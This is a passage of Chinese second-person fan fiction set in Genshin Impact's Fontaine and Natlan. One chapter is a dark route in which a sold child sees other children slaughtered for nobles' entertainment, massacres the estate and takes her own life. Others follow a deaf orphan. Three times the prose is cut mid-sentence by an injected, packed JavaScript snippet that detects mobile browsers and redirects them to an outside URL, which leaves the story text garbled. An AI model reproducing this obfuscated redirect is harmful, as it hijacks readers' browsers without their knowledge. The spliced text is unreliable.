“朝露,你会在外面等我的吧?”疑问句在菲米尼的口中变成了陈述句,他眨了眨那双漂亮的苍蓝色眼眸,投向红发女孩的视线带着明显的期待,他希望自己能得到肯定的回答。 不出所料、没有意外,朝露漆黑的眼睛直直地与他对视,而后毫不犹豫地点头。 菲米尼的嘴角高高扬起,他在心底默念,缓慢地、坚定地:他们终究会在日光下重逢。 抱歉,原谅他,朝露,请不要生气,请……一定要等他。 - 你感觉菲米尼好像在瞒着你什么。狐疑地打量对方,只得到了对方无辜的回视。 算了,你是开明的家长,要学会给孩子适当的隐私空间。不管怎样,如果真的出了什么事情,你相信菲米尼是会告诉你的。倘若他没有告诉你,那就说明他认为这件事情没有必要告诉你。 你会认可他的决定。 你很快离开了梅洛彼得堡。离开的那天,你拿回了自己阔别一段时间的写字板,发现写字板的边框上不知道什么时候多了一个企鹅与飞鸟依偎在一起的图案。 回到壁炉之家的你,等了一个星期,没有等到那个说着“快了”、“没多久”的菲米尼。后来从林尼的口中得知,菲米尼身上又带着什么任务,是要保密的。你一下子想起了临别前菲米尼问你的那句话,抿了抿唇。 你会等他的,无论多久。不过,还是希望那个时刻能快点到来。可以的话,你希望他能在你离开壁炉之家之前回来,不然,你就只能留个地址在林尼和琳妮特那里,托他们转告了。 …… 这天,你坐在德波大饭店里认真地品味着他们的招牌——德波小蛋糕,就见一道阴影投到了你的桌子上,乃至你的身上。你抬起头,看到了熟悉的脸庞。和记忆里相比几乎没什么变化的脸看着你,仿佛看到你就很安心的模样。 端着一碟炸鱼薯条的菲米尼弯了弯眼睛:“请问,我可以坐在这里吗?作为报酬,这碟炸鱼薯条可以分你一半。”给出这样的条件啊,那不得不答应了。你从善如流地让对方坐下,漆黑的眼睛里同样盈满笑意。 你没有离开枫丹廷,或许因为个人的原因有聚有离,但你们终将回到对方的身边。 你不再一个人拥抱着名为“自由”的孤独,傍晚的倦鸟也会有它的归巢。 62.枫丹篇-if线 你的名字是朝露,是不被期待的孩子,是在清晨形成、还没见到日出就已经消失的转瞬即逝的露水。 你七岁的那天,父母以为去买菜的你还没回来,于是在那栋房子里讨论起要把你送到哪里的事情,他们讨论着要怎样才能从你身上榨取出能让他们搬到枫丹的中枢枫丹廷的利益。 很遗憾,提前买完菜回来的你从头听到了尾。 应该伤心吗?应该难过吗?你抬起因为在外面站的有点久而变凉的手碰了碰自己柔软的脸,可是,你好像没什么感觉。比起一个孩子听到父母要把自己送走应有的反应,你更多的是“命运的靴子终于落地”这样的感慨。 订阅报纸在枫丹是一件十分常见的事情,为了附庸所谓的风雅,你的那对父母也收集了很多书籍。它们填补了你的空闲时光,填补了在你人生中父母绝大部分的角色空缺。 它们所记录的文字就一定是对的吗?逐渐长大、拥有了更多见解的你知道没有什么永远正确。但对那个时候的你来说,她珍惜着她看到的一切内容,她对书中所描绘的故事满怀期望,如同小心翼翼藏起冬粮的松鼠。 书上说,“爱”应当是确凿无疑的情感。如果你对自己是否被爱或者自己是否爱谁产生怀疑,那么不用犹豫,这不是“爱”。书上同样说,父母会爱他们的孩子。可书上没说,当它的话自相矛盾你要怎么办。 你有想过,假使你接收到的内容都是正确的,即父母确实会爱他们的孩子,你确实不被你的父母所爱,那么会不会有一种可能?你并不是他们的孩子,所以他们不必爱你。 可你的脸上、你的身上都能看出你父母的痕迹。你的眉毛、你的鼻子、你的手指,你的膝盖。 思绪在脑子里打架。 面对肉眼可见的麻烦、面对摆在面前的未知,人的本能会驱使自身逃跑,因为恐惧。你以为自己足够冷静,但你的瞳孔不自觉地缩成了针状。无需反驳,你是想过离开的。 你有想过要不要直接跑掉,你可能会像一尾鱼儿游入大海,自此天地皆广阔;你可能会像跑入深山的小鹿,一不留神消失在陡峭的悬崖边;你可能还没走出多远,就被抓了回来。 你想了很多,但你最终没有迈开奔向远方的步伐。未知、恐惧、逃避,确实,这些都是再常见不过的事情。 可是假如你真的逃了,你又能逃到哪里?倘若你这次跑掉了,下一次呢?又遇到什么意外,你该怎么办。你要永远都逃跑吗,如同被吓破胆的鸟,听到动静就立刻张开翅膀,最后力竭而死。 你见过力竭的从天空坠落的鸟,那个死状并不好看。 你不希望自己和它一样。 - 你没有走。 和往常一样,你带着买好的菜回到家,熟练地生火做饭,扮演着一个“温顺的哑巴”的角色。 要等多久呢,才能等到你的父母把你送走。你也有点好奇呢,关于他们能从中得到什么,关于接收你的人又想要得到什么。关于为什么,别人都好像把你当作能够倒手的货物随意摆弄。 你等待的时间节点很快到来了。这天,你的母亲罕见地给你穿上新的衣服,用你几乎从未听过的温柔语气叮嘱你:“去了贵族那边,要记得好好表现。好好表现才能得到更多奖赏。”说着,言语间暗示你有了好东西记得“照拂家里”。 母亲的手比你的宽大许多,放到你的脑袋上的时候仿佛能把它整个抓起来。书上说这种亲子间的抚摸明明是充满温情的,你却需要抑制住甩开那只手的本能才可以勉强维持面前的局面。 你很少穿新的衣服,也很少见到温柔的父母。在你的日常生活中,更多的是简单直接的指令。“怎么还没做好饭?”,“去洗碗。”,“记得明天晒被子。”诸如此类。你如同发条机关,输入指令,执行命令。 人文关怀?不需要那种东西,只要能干活就好。嗯?提前报废了怎么办?换一个新的不就可以了。 你知道你的父母是怎么想的,只是你不在乎而已。因此,现在垂下眉眼、像温驯的羊羔伏在父母膝前的你没有丝毫动容,反而有点想笑。 ——母亲知道吗,她给的这件新衣服甚至是不合身的。倒也正常,从外表看不出异样就行,至于你会不会被勒到,这不在她的考虑范围内;倒也正常,你的生长不被关注,或许它代表的只是你能做的活又多了一些,仅此而已。 你是被明码标价的商品,是被系上漂亮丝带的礼物,唯独不是活生生的人。 被送离那个你住了很长时间的地方之前,你最后一次回望那栋房子,漆黑的眼睛里倒映不出半个人影。现在,你是被转让了所有权的“商品”,你不会再回来了。 再见。 * 你不是没有思考过自己的作用,你想过会不会是有谁想吃人肉,刚好小孩子的皮肉据说很细嫩,或许会相较大人更好下口;你想过会不会刚到目的地就被喂下一堆药片,然后被关在培养皿里观察反应……你想过很多种可能。 你不知道自己会遭遇什么,但你已经有了猜想,那一定不会是什么好的事情。先不说好运会不会降临到你的头上这种玄乎的问题,最简单的来说,不会有素未谋面的人为你付出摩拉却不索求回报的。 连你都不会为一百摩拉的商品付出一百零五摩拉的价格,提前假设别人是笨蛋很容易自己变成笨蛋。 你琢磨了很多,结果真相出乎意料的简单:只不过是你的父母偶然打听到有贵族最近想要一批新的仆人,看着贵族大人的报价,想着会不会给贵族大人留下一个好印象,便想到了“很皮实”的你,绝对不会向外人泄露秘密的你。 于是,急不可耐地把你“变现”了。 - 一个好消息,一个坏消息。 好消息是,不止你一个孩子被送到这座庄园里,你们聚在一起,就像一群咩咩叫的小羊羔,见到了可以挨挨蹭蹭的同类便在陌生的地方有了安全感。 “你好呀。我是贝莉。听说我们是来当仆人的,可能贵族的脾气很坏……但没关系,看在摩拉的份上,我会努力坚持的!”一个看你身边没什么人的小女孩主动靠过来,在你的身边嘀嘀咕咕。 你能看到她贴合身体的衣服,能看到她棕色的头发上有被细心打理的痕迹。在她的眼里,你能看出她只是想找个人说说话,好通过这样的方式让自己不那么紧张。 因此,当你做出动作告诉她你不能说话时,她没什么大的反应,只用一双眼紧张地看着你:“那如果我说了什么你不喜欢听的东西,你直接拍我好啦。”紧张兮兮的语气和如临大敌的神情在她身上显得有些滑稽。 你没有躲开蹭到你身边的贝莉。 这时的你们以为,在这里的生活可能只是辛苦了一些,愿意咬牙坚持,就一定能迎来美好的人生。 可你忘了,好运似乎从来都对你极为吝啬。 …… 你在没有防备的时候,直面了那个“坏消息”。 因为足够安静,因为你的哑巴让人觉得放心,你在这个家族里的一位贵族大人随意地点头首肯下被派到了贵族大人的身边。 这天,你推着装载了下午茶的小餐车走进贵族大人所在的房间,推动小车的手很稳,你的步伐也很轻,空气中只能听到轮子与地面摩擦的声音。 你来到贵族大人的身边,他正饶有兴致地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594736|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着玻璃窗外发生的场景。据说贵族总是有些特别的喜好,一个有一整面墙都是透明的房间并不算什么。你顺着贵族大人的目光望去,视线凝滞在空间的一个点上。 “这批的货感觉没有之前那些质量高,跑都跑不快,也不够有冲突性。”耳边是贵族大人轻描淡写地点评,你的眼中却全是透过玻璃看到的那个支离破碎的棕发女孩。 你还记得她的名字是贝莉,笑起来时眼睛里像是有星星一样亮晶晶的。而现在的她倒在大厅里,血似流不尽般从她的身体里涌出来。有人拿刀捅进她的身体,又被别的人扯过去。 不知过了多久,大厅里的动静仿佛消失了,只留下一地的尸体。贵族大人已经站起身离开,你知道自己要做的事情是尽职尽责地跟上去,否则下一次出现在那个大厅里的就有可能是你。 你没有忘掉贝莉的身体流了很多血,那些血在她的身下染红了地毯,你忘不掉她那双没有合上的眼睛。 - 贵族付出摩拉,他们得到欢愉。 你们的家人得到摩拉,你们便付出生命。 一代代沉甸甸的摩拉,多吗?足够让你们一无所知地踏进牢笼,足够把你们的未来全部买去。 “斗兽场”表演,啊,准确来说应该是斗人场。能够带来充分的感官刺激的。荒诞的、可笑的,真实发生的。 原来,人的生命是这么轻飘飘的东西啊。意识到这一点的时候,此前的生活全盘围绕那个偏远小镇的你,对外界认知来源于报纸与书本的你,你的世界崩塌了。 ——倘若生来便要遭受苦难,那你们存在的意义是什么? 你漆黑的眼睛里映不出光。华丽的庄园有漂亮的穹顶,这里照不进真正的光。 * 你想,终有一天,你要杀了这里的所有人。 男的、女的、大的、小的、高的、矮的、好的、坏的……你通通分不清。所以,那就别分了,一起死吧。你这样告诉自己。好多好多的人,好多好多的冲突,没有人在意你们的年龄,你在还没到两位数的年纪里直面这个世界露出的獠牙。 也许,这就是这个世界交流的方式吧。 你过去的天平失衡了,它的一端落下了沉重的巨石。什么是对的,什么是错的?你不知道。一切的一切就像一堆缠绕在一起、打了好大好大一个结的毛线团,你理不清。所以,你选择了拿剪刀剪断打结的地方。 为了达到你的目的,你花了很多心思。无论是留在庄园里的,还是短暂离开了庄园的,通通都要死。你足够聪明,足够镇静,你会实现自己的目标。 当那一天到来,偌大的庄园再次被血色笼罩。当一切动静消失,你踏着和往日一般无声的步伐从大门走出,一头红发如同染了血一样,带着重量地披在你的肩头。 你一路来到无人的山顶,没有人关心一个路过的脸色苍白的女孩身上会有什么故事,你很顺利地来到了这里。随后,你纵身一跃。 “啪嗒——”细微的沉闷的声音响起,来自庄园的最后一个活人也消失在这个世界上。 一场迟来的雨淅淅沥沥地下着,冲刷掉了不知何时流淌的血色。 枫丹的雨季总是绵长而沉重,让人几乎看不到晴天。 …… 执行计划的时候,你会怕吗?从山顶跳下来的时候,你有过后悔吗?在你的身体重重地摔到地上、像一个西瓜摔得四分五裂的时候,你会痛吗。 也许,你只是想,你这一生乏善可陈,并没有什么值得珍惜的过往。因此,早早地结束掉也不觉得遗憾。 如果可以选择,你希望自己不会有下辈子了。 好痛啊。 63.纳塔篇-1 你的父母离开你,去做了别人的英雄。 他们没有像他们走的时候对你承诺的那样回来,留在家里的你只等到了前来送信的信使。那是一个比你大一点的哥哥,脸上没有笑容,当他把信递给你时你看到他的嘴唇开开合合,你的耳朵却什么也没有听见。 信使哥哥站在你的面前,双手递出那个信封。注视着那双沉静的眼睛,你的潜意识隐隐约约间意识到有什么事情发生了。会是什么呢?你没有去想。你只是熟练地露出笑容,流畅又听起来奇怪地朝他说“谢谢”。 - “你好”、“谢谢”、“再见”、“回来”、“想念”这些词语,是你最常说的。前面的是日常用语,后面的是你想向父母表达的。你不知道自己说得对不对,你只能通过父母的表情判断,乖乖等着他们的笑脸或纠正。 从你出生那时开始,你的世界便是一片安静。 太安静了,一片叶子从树上飘落和一颗巨石从山巅滚落对你来说没有差别——你都只能用眼睛看到它们。或者说,还是有点差别的?比如后者,当石头足够大,离你足够近,那么你还是能感受到地面传来的震颤的。 你会“咿咿呀呀”,看到父母来了会扬起小手做出反应,哭的时候被父母抱在怀里安慰还会像是听懂了似的抽噎两声就停止哭泣,起初谁都没有发现你的不同。 直到别的孩子都开始鹦鹉学舌般模仿大人说话,你还是看着他们“咿咿呀呀”,你的父母才终于意识到不对劲。 那也是他们第一次在你面前对着你皱起眉头。下撇的眼角,紧抿的嘴唇,你其实还没来得及明白这个表情蕴含的内容,就先从中感受到了害怕。 “呜哇”的好大一声,把你那问了结果回来的父母都惊得回了神。 倘若在你来到这个世界之前,你的父母就已经知道了你身上的缺陷;倘若你还没来得及睁开你那双眼睛看向这个世界,大概你的父母会放任、乃至于促成你的死亡,你的解脱。 “这会是伊薇尔想要的吗?没有办法听到来自别人的声音,她可能会遇到很多别人不会遇到的麻烦。可能常人眼中再合理不过的事情伊薇尔也无法理解。”自发现了你的问题后,你的父母常常扪心自问:他们现在做的,是对的吗? 或许,他们在推动一个错误的诞生。又一次看着你纯然的眼睛,看着你因出生没多久而头上还是稀疏的毛发,这对新上任的父母最终露出释然的神情。如果这真的是错,那就让你恨他们吧,恨他们让你以这幅身躯来到纳塔。 至少,你已经来到这个世界上;至少,你已经成为了他们的孩子;至少,你已经有了属于你的名字。 他们肯定:自你之后,他们不会再有别的孩子了。 你的父母做不到对你身上的缺陷视而不见,他们不知道假如他们真的有了一个健康的孩子,他们还能不能像现在这样全心全意地照顾你、在乎你的感受?他们不知道自己会不会要求那个新诞生的孩子强行背负上你的责任。 这对你们都不公平,他们彼此对视,心想,这是火神大人知道了也不会赞成的事情。 每一个纳塔的子民都是纳塔的火、都是纳塔的血液,他们的孩子伊薇尔不会例外。伊薇尔同样沐浴太阳的光辉,死后同样回归夜神之国。 你不知道你的父母是怎么想的,你只是觉得,你和他们好像是不同的。仿佛有什么看不见的东西坚不可摧地挡在了你们中间,你可以伸出手切实地摸到他们,却没有办法穿过这看不见的壁垒。 - 面前的信使哥哥有一双很漂亮的眼睛。他微微曲起膝盖和你平视,你能够很清晰地看到自他瞳孔中扩散出来的图案,像一朵由线条组成的绿色的花。 你看着这个哥哥有些生疏地伸出手摸上你的脑袋,似是无言的安抚。 是什么事情,会让一个信使停下来安抚收信人呢?答案就差跳到你的脸上了,这一次,你依然没有去想。你只是安静地微笑着,有些茫然地收下信使哥哥递给你的一把青蜜莓,最后看着他转身准备离开,于是乖巧地说了声“再见”。 当腰腹间系着外套的少年朝外弹出钩索,这座房子里的第二个人离去,你的身边重回寂静。不、应该说,这里一直都是这样的寂静。 你橙色的眼睛随意扫过桌上那几颗蓝色的果子,外皮上还带着水珠,形状也很漂亮,看得出来摘的人一定经过了细心挑选。现在的青蜜莓很甜,前段时间你的父母也摘了不少,你吃得很高兴。 此时,你没有伸手去拿桌上的果子,径直拆开信封,拿出了里面的信纸。 节……送……没有…… ?什么东西。 看不懂。 信纸上的内容洋洋洒洒的一大片,你就差把头探进去也只能从中看到有几个字是比较熟悉的样子,单那几个字你也不能保证它的意思就一定和你想的一样。你气闷地把信纸丢到一边,嘴唇不知何时抿起。 片刻过去,你又把信纸捡了回来。你丢的动作更像是抛,纸张在悠悠地漂浮,而后落到地上。上面的褶皱只有最初的折痕。你沿着那道折痕把信纸折回原样,重新放回信封里。 看不懂,没关系。会有人看得懂的。你想。 等爸爸妈妈回来,你可以让他们比划着告诉你这封信里讲了什么。 此时的你还不知道,你等不到你的爸爸妈妈了。天灾人祸从不以人的意志为转移,而意外之所以被称为意外,便在于没有人能预料到它在何时发生、以何种方式发生。 你只是在夜晚将要来临、天色渐暗的时候站起身来,摸了摸自己的肚皮,从家里的柜子中翻出吃剩的食物,又找出几颗不太新鲜的果子,这就是你的晚饭了。你的父母时常外出,自你有记忆起,你就经常这样解决伙食问题。 对了,还有那位信使哥哥留下的果子要处理。 吃到肚子不觉得饿了,你忽然想起来家里还有别人留下的东西。那好像是给你的东西,不像是让你转交给爸爸妈妈的。你这样判断,于是抬起头看了看屋里的灯光,把那些卖相很好的、看着就感觉很甜的果子拨到手里。 你打开门,不大的手一次只能抓起一个青蜜莓。你站在门边,把手里的那个青蜜莓抛了出去。 你听不到青蜜莓是否落地的声音,你听不到青蜜莓有没有砸到人、对方是否发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616799|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出痛呼的声音,你只能看到果子抛出去时划的那道弧线,你看着它消失在远方。 你把那个信使哥哥留下的果子,一个不剩地,全部都抛了出去。 如果想不明白,那就不要想。如果分不清好坏,那就不要分。你记得曾经也有人拿来什么东西——具体是什么你记不太清了,只依稀记得是个白色的布包——你好奇地看着那样东西,但你的父母坚决地把那样东西丢掉了。 就像你现在一样。 分不清好坏,就不分了吧。不知道果子有没有毒,那就不要吃。 * 基尼奇完成了今天的送信任务,在回程的路上不住地想关于自己见到的那个女孩。他知道她可能什么都没听清,在自己说出她父母的死讯时那双橙色的眼睛里没有情感的变化,依然是茫然的、朝外界友好地微笑着的。 看来那个传闻是真的,基尼奇想。据说有位流泉之众的人和烟谜主的人在一起,生下了一个耳朵听不到的孩子。为了找到让这个孩子正常生活的方法,他们走了很多地方,本是各自部族强大的战士,现在却辗转各个地方。 基尼奇回忆着自己在那间小屋里看到的景象,很干净,没有什么多余的东西,只在角落里摆了几个看上去小孩子会喜欢的玩具。那个有着一头浅黄色短发的女孩有一双细嫩的手,衣服的边角却沾了尘灰。 敏锐的少年不难猜出这个女孩的处境。被父母爱着的,毋庸置疑,愿意为了她离开自己的部族,一走就是好几年;被这份爱所禁锢的,被安置在父母的小小房子里,日复一日地等着他们回来。 她什么都不用做。她什么都做不了。 这样是好还是坏?基尼奇不知道这个问题的答案。但基尼奇知道,随着她父母的死亡,这个孩子的生活必将迎来变化。 [凡事皆有代价。]基尼奇在心里默念。他不会做多余的事情,那个小女孩的未来端看她自己能向命运支付怎样的代价。啊,那把青蜜莓果子不算,不过是顺手的事。 这时,一只黄绿配色的像素龙出现在基尼奇身边,脸上还带着像素墨镜:“大胆仆从,竟敢把伟大圣龙库胡勒阿乔的果子给别人!”自称“库胡勒阿乔”的像素龙在空中跳脚,随后嘲笑沉默的少年:“可是啊,那个小女孩把你给的果子全丢啦~”说着,像素龙绕着少年转了个圈。 ……只是一些果子而已,她丢了也没什么。明明自己的好意被别人这么对待应该感到生气,基尼奇的心里却莫名感到欣慰。起码,这至少证明了那个小女孩不会随便相信陌生人。 倘若哪天流落野外,说不定还能多活两天。这很好。基尼奇这样想却没有说出来。墨绿色的少年对着像素龙的嘲笑只是摆了摆手:“你的那份果子会给你补上的。” 是的,摸完小女孩的脑袋后基尼奇给出的那份果子原本是阿乔的零嘴。 作出承诺与补偿的少年习以为常地忽视了像素龙再一次的跳脚和嘴里念叨的“你竟然以为伟大圣龙看得上这小小的果子——?啊——你把我气红温了!” 他只是想,嗯,下次再见到她的时候,换一种果子给她吧。青蜜莓不行的话,颗粒果怎么样? 64.纳塔篇-2 好饿。 感觉肚子里在翻搅着空气,扁扁的。你摸了摸自己的肚子,又抬起头看了看屋子里的物资,你能吃的食物已经所剩无几。 爸爸妈妈这次是不是去了好久?你快饿晕了。脑子快要停止转动,你只知道你要去找东西吃。具体要去哪里找还不知道,反正留在这里肯定找不到能吃的。你这样想,第一次自己主动踮起脚推开了终日合拢的门。 阳光透过半开的门照亮屋子的一角,畅快的风吹到你的脸上,你没有在意地把目光投向远处。 根据你的记忆来看……爸爸妈妈有时也会在路上摘果子吃,会在高高的树上摘下红红的清甜的果子,会在路边摘下草丛里的果子,烤一烤或擦一擦就能吃。所以,走到外面,你就可以找到吃的了。 透亮的橙色瞳孔映出无垠的蓝天和无际的原野,在碧蓝之下绿色与赭色交错,更显得那片深深浅浅的绿生机勃勃。你迎着风眨了眨眼睛,没有父母陪在身边以至于自己跳动的心撞击胸腔。 饥饿与难言的情感交织,你没有多想便迈出了步子。说起来,树上的叶子和地上的草,可以吃吗。如果不行的话,那快要脱落的树皮呢。 - 纳塔这个国家共由六个部族组成,瓦雷莎所在的沃陆之邦便是其中之一。而说起沃陆之邦,人们往往会想到强壮的力大无穷的战士,还有口感最清脆的蔬菜和滋味最甜蜜的水果。恰巧,这两样瓦雷莎都有。 这天,瓦雷莎的行程和往常一般,早起,锻炼,打理家里的果园,吃下美味的食物,优哉游哉地度过一天。本该是这样的,但运送完果蔬往回走的瓦雷莎在路边发现了什么不同。 很显眼呢,绿色的草丛里忽然冒出一个黄色的脑袋。 是谁家的孩子跑出来了吗,周围好像也没有看护的大人。向四周环视了两圈没有找到这里的第三个人影,瓦雷莎拿起运送果蔬的小车上留下来打算给自己垫垫肚子的一个苹果向那撮在草丛中若隐若现的浅黄发丝走去。 要把走丢的孩子带回大人身边才行,瓦雷莎想。至于这个果子嘛,就当是用来让这个小孩子说出家长是谁的交换好了。 虽然自己很容易饿、要达到吃饱程度所消耗的食物也很多,一旦饿了说话就会有气无力、整个人都无法思考其他事情,但瓦雷莎并不是一个护食的人。她乐于和别人分享美食,也喜欢看到别人的笑脸。 现在,瓦雷莎也不吝于对这个偶然遇到的小孩子伸出援手,帮助对方回到家长身边。 走到有着浅黄色头发的孩子面前,瓦雷莎原本想直接问对方的爸爸妈妈是谁,话语已然在喉咙处做好准备,她却没能把它们说出口,兀自陷入怔愣。 是一个可爱的小女孩,看起来很乖的样子。她此时坐在地上,小小的还带着肉窝窝的手攥住面前的草叶把它生硬地扯下来,随后把它塞进自己的嘴里。 瓦雷莎能看到小女孩红色的唇瓣边缘流淌的绿色汁水,能看到小女孩皱着眉头吞下被嚼碎的草叶后摸了摸自己的肚子,橙色的眼睛里满是疑惑,像是不明白为什么自己吃了东西肚子还是会觉得饿。 啊…… 她好像认出来这个小女孩是谁了。 * 你原本是想找果子的,你都已经看到果树了,那上面结着大大的果子。 可是……好远。你小小的脑袋想不明白,明明眼睛看到果树就在面前的,为什么你走啊走就是没走到那里?你觉得你的手和脚都快要在日光下融化了。你不知道自己这是饿得手脚发软了,你只知道你的本能在催促着你把什么放到嘴巴里。 有什么是你能吃的呢?你支着脑袋目光在周围晃了一圈,最终决定坐下来吃草。你坐下的位置恰好在一个浅坡前,你不需要把手往下面伸、直接把面前的草拔下来就可以。 苦涩的、感觉很难填饱肚子的。 但这是你现在唯一能找到的东西。除了把它吃下,你不知道自己还能做什么。 你会等到你的爸爸妈妈回来吗?他们回来了发现你不在,会出来找你吗。对于这些问题,你给不出肯定的回答。 你有好多好多事情都不知道,不能拍着胸口给什么打包票。就像你不知道为什么爸爸妈妈有时看你的目光会让你害怕,是你做错了什么吗,你曾经努力地、磕磕绊绊地问出口,结果只看到妈妈漂亮的眼睛里流出了亮晶晶的水。 啊,原来有些东西是不能问出口的。 怎么做才是对的呢。 用你父母向你传达的内容来描述,你要做一个“好孩子”,[伊薇尔会成为一个正常的、乖巧的孩子。]尽管有时他们需要外出,尽管你们时常走走停停,只要有空,他们就会重复性地一遍又一遍地这样告诉你。 仿佛把一句话不断重复,它的内容就会变成现实。 你还没发育完全的脑袋不支持你想太多,大人复杂的情感你还不明白,你不明白有的爱混杂着遗憾和执念。你更多的是依靠本能。在没有声音的世界里,你做了什么便回过头看向你的父母,通过他们的表情来判断自己应不应该这样做。 如同野兽般的直觉与本能,借这样的“修正”来让自己达到别人的期望。你只是知道,噢,这么做了爸爸妈妈会开心的,你也会吃到好吃的。这么做,你们都会很开心。 所以,有的话不可以问出口,有的事情不要去做。你只要乖乖地待在父母给你安排的地方里等他们回来就好了。这样的你才会是他们口中的“乖孩子”。 可是,自己一个人离开了那间屋子的你,还算是一个乖孩子吗。 - 忽然,鼻子嗅到了某种特别的味道。它混杂着食物的香气,让你想到放到烤架上烤得“滋啦——”冒油的肉串,又或者是吐了黄油的面包片,在空气中肆意地散发谷物与油脂的味道。 唔,错觉吗,好像还闻到了苹果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634390|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的味道?不知道为什么,苹果清甜的气息放大,那种经过烤制的香气反而散了不少。你有点怀疑这些味道都是你自己想象出来的东西。 一时之间,你只觉得自己更饿了。 抿抿嘴,正要去拔下一根草的你忽然发现一片阴影正在靠近你,不断放大,直至把你彻底笼罩。抬起头,你在自己的身前看到了一双紫色的眼睛,还有一对白色的牛角。 紫色眼睛的主人对你笑了笑,微微退开一点身子,把拿着苹果的手伸到你面前,手腕翻转,通红的苹果就在你触手可及的地方,你只要稍稍探出指尖就能够到。 粉色头发梳成两股分在脑后,全身由黑色和亮粉色涂抹、偶尔还有翠青色点缀的大姐姐站在跟前,温柔的紫色眼睛里没有催促,似乎你接过或不接过这个苹果都可以。 看着这个大姐姐,你忽然想到了爸爸妈妈以前给你带的棉花糖。蓬松的,软软的,甜滋滋的。 那么,你要接过这个苹果吗。 按道理来说,你不应该拿的。爸爸妈妈教过你,陌生人给的东西不要吃。可是,你现在好饿。 眉头皱在一起,白嫩的小脸也随之皱成一团,任谁都能看出你此刻在做着什么重大的抉择。 脑袋强行运转了片刻,你眨了眨大大的眼睛,向那个苹果伸出手。 你的眼睛没有看着那个诱人的苹果,而是看着粉头发的大姐姐。你在认真地看着她的表情,像洞里的小兽不知道外面有没有危险,于是探出稚嫩的爪子在洞口摸索。 手指还没碰到苹果光滑的外皮,你一下子把手缩了回来,与此同时,眼睛紧紧地盯着面前大姐姐的脸。只要她流露出一点不对劲,你大概会如同受惊的兔子一般蹬着腿弹射跑开。 好像,是安全的。那双眼睛柔和地看着你,嘴唇弯起的弧度让人觉得很舒服,在你缩回手的时候也没有变。那只托着苹果的手依然稳稳地停留在你面前。 肚子,饿。牙根发痒,想要啃噬什么的欲望如野火在你的心里蔓延。有那么一瞬间,那只托着食物的手在你面前,而你盯着它的瞳孔缩成了针状。也只是那么一瞬间,你的眼睛很快恢复成大而透亮的模样,清澈而没有一丝阴霾。 想吃…… 你抿嘴,再次伸出手作势要接过那个苹果。在手指快要触及苹果的时候,梅开二度,你收回了手。 你歪着头看向粉头发的大姐姐,还是没有生气。这个苹果,好像真的是给你的?是你可以自己选择要或不要的,是你什么时候都可以选的。 这样的情形重复了好几次,你的手最终握住了那个苹果,手指收拢,掌心与指腹都贴着光滑又冰冷的苹果表皮,切实的存在感。你把苹果举到嘴巴前面,张开嘴一口咬下去。 “咔嚓——”一声,丰沛的汁水在口腔里四溅。 饥饿许久的胃囊终于落入可以消化的食物,那个蠕动的器官似乎发出了满足的喘息。 65.纳塔篇-3 面前的女孩捧着苹果,就像是一只捧着松果的大尾巴松鼠,脸颊边垂下的浅黄色发丝在尾部翘起俏皮的弧度。 瓦雷莎弯了弯眼睛看着这个孩子吃苹果,露出满足的表情。 她想起来自己是在哪里听过这个女孩的事情了。没记错的话,瓦雷莎单手撑起下巴思考,这个女孩的名字是伊薇尔,她前几天在部族里提说过。浅黄的头发,橙色的眼睛,耳朵听不见声音,约五六岁的模样。 耳朵的问题暂时看不出来,但是其他的条件都符合了。当时首领说的是,既然伊薇尔的父母是为了沃陆之邦而死的,那么沃陆之邦愿意领养伊薇尔。也不需要额外做什么,到时把伊薇尔往没有父母的孩子堆里一送,自然可以和他们一起生活,成为沃陆之邦的一员。 父亲来自流泉之众,母亲来自烟谜主,却是在沃陆之邦失去了双亲。这种情况下该送回父亲那边还是母亲那边?谁都说不准。首领说他已经给这两个部族送了信,但不出意外的话伊薇尔多半会留在沃陆之邦。 啊,好小,好可怜。捧着脸看着面前的伊薇尔认真地吃苹果的瓦雷莎在心里想。她的视线掠过女孩裸露的腿上擦出的白痕和草叶的碎屑,掠过女孩指缝里的泥印,最后只平静地看向伊薇尔橙色的眼睛。 漂亮的、清透的、专注的一双眼睛。 不知不觉间吃完了一个苹果的女孩站起身来,那双大大的眼睛回望着瓦雷莎,瓦雷莎能从她巴掌大的脸上看出她拧着细细的眉似乎在思考着什么。随后,伊薇尔低下头看了看自己流有苹果汁水残痕的手有些无措,但很快那张脸上露出了坚定的神情。 伊薇尔就这样在瓦雷莎的目光里向前走了几步,走到瓦雷莎的跟前站定,把自己的脑袋探了出来。 “嗯……这是什么意思?是想让我做什么吗?”瓦雷莎不确定地问出口,伊薇尔此时用发顶对着她,看不到她的表情。瓦雷莎理所当然地没有得到回应。 